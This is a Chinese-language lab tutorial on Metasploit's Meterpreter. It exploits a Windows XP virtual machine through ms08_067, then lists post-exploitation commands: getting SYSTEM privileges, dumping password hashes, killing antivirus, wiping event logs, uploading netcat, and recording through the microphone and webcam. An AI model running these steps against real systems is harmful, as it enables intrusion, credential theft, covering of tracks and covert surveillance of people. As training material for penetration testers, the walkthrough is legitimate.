MSF系列:
簡介
Meterpreter是Metasploit提供的一個非常強大的后滲透工具
Meterpreter可以看成特殊的Payload,之前我們的Payload都是為了獲得目標系統的shell
這里的payload就是shellcode,以獲得目標系統的shell為目的的payload
我們獲得的shell有些缺陷,僅利用shell來收集更多的信息、做更多的事情的話是一個偏笨拙的辦法。利用Meterpreter可以打開麥克風、用圖形界面顯示被攻擊者的操作界面等等。
Meterpreter有以下優勢:
- 完全基於內存的DLL注入式Payload,純內存工作,不需要對磁盤進行任何寫入操作
- 使用加密通信協議,而且可以同時與幾個信道通信
- 在被攻擊進程內工作,不需要創建新的進程
- 易於在多進程之間遷移
執行過程:
- 注入合法系統進程並建立Stager
- 基於Stager上傳和預加載DLL進行擴展模塊的注入(客戶端API)
- 基於Stager建立的socket連接建立加密的TLS通信隧道
- 利用TLS隧道進一步加載后續擴展模塊(避免網絡取證)
基本命令
獲得Meterpreter Shell
我們先獲得一個Meterpreter的shell然后繼續后面的內容
實驗機器:
- Kali Rolling 4.8.10,IP地址192.168.171.129
- Windows XP Professional SP3,打開445端口,關閉防火牆,IP地址192.168.171.134
XP打開445端口
在cmd命令中輸入netstat -nao查看445端口是否在監聽狀態,如果是則跳過,不是則往下繼續進行
依次打開目錄HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters,得到下面的結果
雙擊SMBDeviceEnabled
將數值數據改成1,然后點確定即可
輸入netstat -nao,查看是否已經打開,如果沒有則重啟一下機器
Kali開始攻擊
我們用ms08_067這個漏洞進行攻擊,payload選擇Meterpreter的payload,其中targets選擇了 Id為34的系統,即Windows XP SP3 Chinese - Simplified (NX)
然后輸入 exploit -j 進行攻擊,可以看到先發送了stage,然后創建了Meterpreter會話
現在我們進入這個Meterpreter Shell
基本命令
可以輸入help查看一些命令,如果想回到MSF可以輸入background
- pwd:pwd是Linux的命令,Windows是沒有的,但在Meterpreter Shell中我們可以用這個命令查看當前所在的目錄位置
-
cd:切換目錄
-
dir / ls: 列出當前目錄的內容
- cat:查看文件內容
- mkdir:創建目錄
- rm:刪除文件
- rmdir:刪除文件夾
- mv:移動文件
- cp:復制文件
- edit:其實就是Linux 下的 vi 命令
- lpwd:指 local pwd,查看本地當前的工作目錄
- lcd:切換本地目錄
- getuid:查看Meterpreter登錄到系統的用戶
- getsystem:獲取system權限
- getprivs:查看用戶權限
- getpid:Meterpreter是注入到一個合法的進程里面的,然后可以用ps查看我們注入的是哪個進程
- migrate:將Meterpreter遷移到我們想注入的進程里面,migrate pid
- 比如services.exe的pid是664,我們可以migrate 664
- run / bgrun:運行命令,有200多個功能,但不保證所有模塊能在目標機器上正常運行,bgrun是在后台運行而不是前台
- run post/windows/manage/killav 用來殺掉殺毒軟件
- run post/windows/gather/smart_hashdump 獲得系統賬號和密碼的hash,跟直接輸入hashdump是一樣的
- run service_manager -l 獲得目標系統的服務
- run vnc 圖形化的遠程管理
- clearev:清除目標系統日志。
- XP電腦運行中輸入eventvwr可以打開事件查看器
-
-
這時候再去查看已經沒有日志了,只有一條日志成功清除的記錄
- download:下載目標系統的文件到 “lpwd” 目錄下
- upload:上傳文件,upload /usr/share/windows-binaries/nc.exe C:\\WINDOWS\\system32,“\”有轉義符的意思,我們這里需要兩條“\”
- execute:執行命令,-f 后面跟需要執行的命令
- 和cmd交互:execute -f cmd.exe -i,直接輸入shell也能獲得操作系統的shell
- ps:查看目標正在運行的進程
- netstat:查看目標的網絡連接狀況、端口開放情況
- sysinfo:目標操作系統信息
- kill:殺死進程
- reboot:重啟機器
- shutdown:關閉機器
- shell:獲得操作系統的shell
- show_mount:掛載了幾個分區
- search:搜索目標系統的上的文件
- search -f win.ini
- arp:查看目標機器的arp緩存
- ipconfig / ifconfig:查看目標IP信息
- route:查看路由表
- 可以添加、刪除路由,可以通過route -h查看操作
- idletime:目標操作系統已經空閑了多長時間,即多長時間沒進行操作。時間久可以猜測用戶不在計算機前。
- resource:調用一個外部的資源文件
- 比如在Kali的“lpwd”目錄創建一個 test.txt,里面填入“pwd”等命令,一條命令一行
- resource test.txt
- record_mic:用目標的麥克風記錄聲音
- webcam_list:列出目標機器上的攝像頭
- webcam_snap:用攝像頭拍照
- webcam_snap -i 1 -v false:每隔1秒拍一次照
Meterpreter Python擴展
目標機器無需安裝Python運行環境,就能運行原生Python代碼。
這個擴展以插件的形式存在,我們需要先加載這個加載:
load python
- python_execute "print ('hello')",直接執行python代碼
- python_execute "import os; cd = os.getcwd()" -r cd,將os.getcwd()賦值給 cd 這個變量,然后用 -r cd 讀取 cd 這個變量的值
- python_import -f test.py,導入一個寫好的python腳本
# test.py
import os
print(os.getcwd())